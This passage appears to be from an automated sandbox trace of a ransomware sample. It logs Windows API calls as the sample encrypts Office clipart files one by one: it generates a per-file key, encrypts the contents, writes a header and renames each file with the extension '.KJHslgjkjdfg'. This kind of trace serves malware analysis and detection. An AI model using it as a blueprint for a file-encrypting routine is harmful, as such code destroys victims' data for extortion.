lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1434, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1434, lpOverlapped=0x0) returned 1 [0186.077] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1440, dwBufLen=0x1440 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1440) returned 1 [0186.077] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.077] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1440, lpOverlapped=0x0) returned 1 [0186.078] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.078] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.078] SetEndOfFile (hFile=0x114) returned 1 [0186.080] GetProcessHeap () returned 0x2a0000 [0186.080] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.080] GetProcessHeap () returned 0x2a0000 [0186.080] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.081] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf.kjhslgjkjdfg")) returned 1 [0186.082] CloseHandle (hObject=0x114) returned 1 [0186.082] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3218, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02441_.WMF", cAlternateFileName="")) returned 1 [0186.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.084] GetProcessHeap () returned 0x2a0000 [0186.084] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.084] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.084] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.084] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.100] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.100] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.100] GetProcessHeap () returned 0x2a0000 [0186.100] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.100] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.100] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.100] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.100] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.100] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.101] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.101] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.101] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.101] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.101] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.101] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.101] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3218, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3218, lpOverlapped=0x0) returned 1 [0186.103] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3220, dwBufLen=0x3220 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3220) returned 1 [0186.103] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.103] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3220, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3220, lpOverlapped=0x0) returned 1 [0186.103] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.103] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x32f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.103] SetEndOfFile (hFile=0x114) returned 1 [0186.106] GetProcessHeap () returned 0x2a0000 [0186.106] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.106] GetProcessHeap () returned 0x2a0000 [0186.106] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.106] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf.kjhslgjkjdfg")) returned 1 [0186.108] CloseHandle (hObject=0x114) returned 1 [0186.108] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02443_.WMF", cAlternateFileName="")) returned 1 [0186.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.109] GetProcessHeap () returned 0x2a0000 [0186.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.109] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.109] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.109] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.112] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.112] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.112] GetProcessHeap () returned 0x2a0000 [0186.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.112] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.112] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.112] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.112] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.112] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.112] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.112] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.112] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.113] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.113] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.113] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.113] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x55c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x55c, lpOverlapped=0x0) returned 1 [0186.113] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x560, dwBufLen=0x560 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x560) returned 1 [0186.113] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.113] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x560, lpOverlapped=0x0) returned 1 [0186.113] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.113] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.114] SetEndOfFile (hFile=0x114) returned 1 [0186.116] GetProcessHeap () returned 0x2a0000 [0186.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.116] GetProcessHeap () returned 0x2a0000 [0186.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.116] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf.kjhslgjkjdfg")) returned 1 [0186.118] CloseHandle (hObject=0x114) returned 1 [0186.118] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02444_.WMF", cAlternateFileName="")) returned 1 [0186.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.119] GetProcessHeap () returned 0x2a0000 [0186.120] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.120] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.120] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.120] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.122] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.122] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.122] GetProcessHeap () returned 0x2a0000 [0186.122] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.122] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.122] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.122] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.122] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.122] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.122] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.123] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.123] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.123] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.123] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.123] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.123] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x88c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x88c, lpOverlapped=0x0) returned 1 [0186.123] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x890, dwBufLen=0x890 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x890) returned 1 [0186.123] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.123] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x890, lpOverlapped=0x0) returned 1 [0186.123] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.123] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.123] SetEndOfFile (hFile=0x114) returned 1 [0186.126] GetProcessHeap () returned 0x2a0000 [0186.126] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.126] GetProcessHeap () returned 0x2a0000 [0186.126] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.126] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf.kjhslgjkjdfg")) returned 1 [0186.128] CloseHandle (hObject=0x114) returned 1 [0186.128] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa34, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02446_.WMF", cAlternateFileName="")) returned 1 [0186.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.129] GetProcessHeap () returned 0x2a0000 [0186.129] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.129] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.129] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.129] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0186.131] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.132] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.132] GetProcessHeap () returned 0x2a0000 [0186.132] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.132] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.132] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.132] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.132] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.132] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.132] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.132] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.132] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.132] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.132] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.132] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.133] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa34, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa34, lpOverlapped=0x0) returned 1 [0186.133] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa40, dwBufLen=0xa40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa40) returned 1 [0186.133] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.133] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa40, lpOverlapped=0x0) returned 1 [0186.133] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.133] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.133] SetEndOfFile (hFile=0x114) returned 1 [0186.136] GetProcessHeap () returned 0x2a0000 [0186.136] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.136] GetProcessHeap () returned 0x2a0000 [0186.136] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.136] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft 